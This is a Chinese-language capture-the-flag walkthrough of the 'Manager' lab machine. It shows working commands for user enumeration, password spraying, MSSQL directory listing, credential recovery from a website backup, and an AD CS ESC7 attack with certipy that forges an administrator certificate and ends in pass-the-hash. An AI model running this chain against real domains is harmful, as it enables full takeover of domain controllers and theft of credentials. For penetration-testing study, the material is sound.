Manager

1
2
3
4
5
ip a

10.129.35.181

TARGET="10.129.35.181"

01.信息搜集

靶机发现

目标靶机 ip 为 

1
2
3
4
5
fscan -h $TARGET > fscan.log

53,80,88,135,139,389,445,636,1433,3268,3269,5985

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
sudo nmap -sT -sV -sC -O -p 53,80,88,135,139,389,445,636,1433,3268,3269,5985 $TARGET -oA nmapscan/detail

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Manager
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-12 12:39:30Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
|_ssl-date: 2026-07-12T12:41:17+00:00; +6h59m48s from scanner time.
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-12T12:41:16+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   10.129.35.181:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info:
|   10.129.35.181:1433:
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2026-07-12T12:41:17+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-07-12T12:32:50
|_Not valid after:  2056-07-12T12:32:50
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-12T12:41:17+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-12T12:41:16+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

sudo nmap -Pn -sV -A -p 445 -T4 $TARGET

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Manager
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-12 12:39:30Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
|_ssl-date: 2026-07-12T12:41:17+00:00; +6h59m48s from scanner time.
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-12T12:41:16+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   10.129.35.181:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info:
|   10.129.35.181:1433:
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2026-07-12T12:41:17+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback

3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-12T12:41:17+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-12T12:41:16+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-07-12T12:40:40
|_  start_date: N/A
|_clock-skew: mean: 6h59m47s, deviation: 0s, median: 6h59m47s

域名信息
DNS: dc01.manager.htb manager.htb

smb 445
smb2-security-mode 显示 Message signing enabled and required，这意味着无法直接进行 SMB 中继攻击（不能将捕获的 NTLM 哈希中继到 445 端口）

mssql 1433
RTM 版本未打补丁，存在大量已知漏洞；且 MSSQL 常配置为域账户运行，提权路径清晰

UDP 扫描

1
sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp
1
2
3
4
5
6
PORT      STATE         SERVICE
53/udp    open          domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open          ntp

03.渗透测试

1
2
echo "10.129.35.181 manager.htb" | sudo tee -a /etc/hosts
echo "10.129.35.181 dc01.manager.htb" | sudo tee -a /etc/hosts

目前信息很少 http://10.129.35.181/index.html 是一个静态前端 类似一个公司

smb 探测一下看看被共享的文档, 不过看起来没有有用的

1
2
3
4
5
6
7
8
9
10
smbclient -L //10.129.35.181 -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available

跟之前的 htbwindows 靶机相比,这次没有最开始的用户凭据没法 bloodhound , 先枚举域用户看看, 看看有没有弱密码的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 看看拿不拿得到
lookupsid.py manager.htb/anonymous@10.129.35.181 -no-pass

# 整理
lookupsid.py manager.htb/anonymous@10.129.35.181 -no-pass | grep SidTypeUser | awk -F\\ '{print $2}' | awk '{print $1}' | grep -v "SidTypeUser" | grep -v "^$" | tr '[:upper:]' '[:lower:]' > usernames.txt

administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator

# 密码喷洒 看看有没有弱密码/复用
netexec smb 10.129.35.181 -u usernames.txt -p usernames.txt --no-bruteforce 
netexec smb 10.129.35.181 -u usernames.txt -p weakpass.txt --no-bruteforce

SMB         10.129.35.181   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.35.181   445    DC01             [+] manager.htb\operator:operator

找到 operator 了, 不过因为 smb 什么都没共享 所以还是看看别的

1
bloodhound-python -d manager.htb -u 'operator' -p 'operator' -dc 'dc01.manager.htb' -c all -ns $TARGET

但是 Oprator 没有 outbound object control 的权限 所以没发直接进域, 等后续如果有气其他用户再跑一次

看看 MSSQL 1433 之前没见过 也是有 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mssqlclient.py manager/operator:operator@10.129.35.181 -windows-auth

# 权限不够 enable_xp_cmdshell, 是master不是admin

# xp_dirtree 是 MSSQL 内置的扩展存储过程，用于递归列出目录内容 类似tree
-- 第1个参数: 目标路径
-- 第2个参数: 递归深度 (0=无限, 1=仅当前层, 2=两层...)
-- 第3个参数: 是否显示文件 (0=仅目录, 1=目录+文件)

EXEC xp_dirtree 'C:\', 1, 0;
subdirectory                depth
-------------------------   -----
$Recycle.Bin                    1
Documents and Settings          1
inetpub                         1
PerfLogs                        1
Program Files                   1
Program Files (x86)             1
ProgramData                     1
Recovery                        1
SQL2019                         1
System Volume Information       1
Users                           1
Windows                         1

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
subdirectory                      depth   file
-------------------------------   -----   ----
about.html                            1      1
contact.html                          1      1
css                                   1      0
images                                1      0
index.html                            1      1
js                                    1      0
service.html                          1      1
web.config                            1      1
website-backup-27-07-23-old.zip       1      1

找到 website-backup
这里也可能走强制 smb 共享然后 获取 NTML 离线爆破 但是这个机器上失败了

下载 website-backup 看看

1
2
3
4
5
6
wget http://10.129.35.181/website-backup-27-07-23-old.zip
unzip website-backup-27-07-23-old.zip -d website

在 .old.conf.xml
<user>raven@manager.htb
<password>R4v3nBe5tD3veloP3r!123

winrm 看看能不能直接进服务器吧 不行依次降级 blood 和 smb

1
2
3
4
evil-winrm -i 10.129.35.181 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'

cd ../Desktop;
type user.txt

特别卡

立足后考虑接管域控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
certipy find \
  -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' \
  -dc-host dc01.manager.htb -ns 10.129.35.181 \
  -dns-tcp -timeout 10 -vulnerable -stdout
  
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
    [+] User ACL Principals             : MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : User has dangerous permissions.

ESC7
https://www.rbtsec.com/blog/active-directory-certificate-attack-esc7/

ESC7 是 Active Directory Certificate Services (AD CS) 中的权限配置错误，指 低权限用户被错误授予了 CA 级别的管理权限。它不是模板层面的漏洞（如 ESC1/ESC4），而是证书颁发机构 (CA) 本身的 ACL 配置问题

权限 作用 攻击价值
ManageCA CA 管理员权限，可修改 CA 配置、启用模板、设置标志位 可开启 EDITF_ATTRIBUTESUBJECTALTNAME2（直接变成 ESC6），或添加自己为 Officer
ManageCertificates 证书管理员/Officer 权限，可批准/签发待处理的证书请求 可绕过”管理员审批”限制，签发任意证书

经典利用链是
添加自己为 Officer
启用 SubCA 模板
请求/签发/下载 SubCA 证书
直接用 certipy auth 以 administrator 身份获取 TGT
使用 TGT 票证获取对 DC 的访问权限

SubCA 证书 = 一张没有 EKU 限制、允许自定义任意用户身份的”子 CA 证书”。 在 ESC7 中，攻击者利用 CA 管理权限绕过”仅管理员可注册”的限制，拿到它就等于完全控制了证书基础设施，比单纯伪造一张用户证书严重得多。

添加 officer

1
2
3
4
certipy ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.35.181 -ca manager-DC01-CA -add-officer raven
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

certipy ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.35.181 -ca manager-DC01-CA -list-officers

只有 官员（Officer） 才有权限手动签发被拒绝的证书请求。我们虽然拥有 ManageCA，但默认 raven 不是官员，所以需要先把自己添加进去。

启用模版

1
2
certipy ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.35.181 -ca manager-DC01-CA -enable-template SubCA
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

SubCA 模板默认是禁用的，我们需要启用它，因为该模板允许我们在请求时指定 UPN（用户主体名称），这为我们伪造管理员身份提供了条件。
可以通过 -list-templates 参数查看所有已启用的模板

请求并且预期被拒绝(但获得请求 ID 和私钥) 我们作为官员可以同意(强制签发)

1
2
3
4
5
6
7
8
9
10
11
certipy req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.35.181 -ca manager-DC01-CA -template SubCA -upn administrator@manager.htb
[*] Requesting certificate via RPC
[*] Request ID is 19
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '19.key'
[*] Wrote private key to '19.key'

certipy ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.35.181 -ca manager-DC01-CA -issue-request 19
[-] Access denied: Insufficient permissions to issue certificate [签不下来就重复第一步]
[*] Successfully issued certificate request ID 19

以 raven 身份请求证书，并指定 UPN 为 administrator@manager.htb 。这个 UPN 将嵌入到证书中，使得证书可以冒充管理员
因为 SubCA 模板默认只允许 管理员 或 域控 注册，普通用户 raven 会被拒绝 也就是
但是，证书请求仍然被 CA 记录，并分配了一个唯一的 请求 ID。同时，certipy 会生成一对公私钥，并询问你是否保存私钥，私钥会保存在 19.key 文件中, 官员有权在后续手动签发

检索已签发的证书

1
2
certipy req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.35.181 -ca manager-DC01-CA -retrieve 19
[*] Wrote certificate and private key to 'administrator.pfx'

直接 admin.pfx
一旦获得了.pfx 证书文件，就可以请求域管理员颁发的 TGT 票据，或者获取管理员哈希值，以访问域控制器
现在同步一下时钟然后获取 NTML 离线爆破

1
2
3
4
5
6
7
8
sudo nptdate 10.129.35.181
certipy auth -pfx administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip 10.129.35.181 -debug
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

# 验证哈希
netexec smb 10.129.35.181 -u administrator -H aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
SMB         10.129.35.181   445    DC01 [+] manager.htb\administrator:ae5064c2f62317332c88629e025924ef (Pwn3d!)

那可以哈希传递登录了..

1
evil-winrm -i 10.129.35.181 -u administrator -H aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

不行
因为 evil-winrm 的 -H 参数只接受 NTLM 哈希部分（32 位十六进制），不接受包含 LM 哈希的完整格式（LM:NTLM)

1
evil-winrm -i 10.129.35.181 -u administrator -H ae5064c2f62317332c88629e025924ef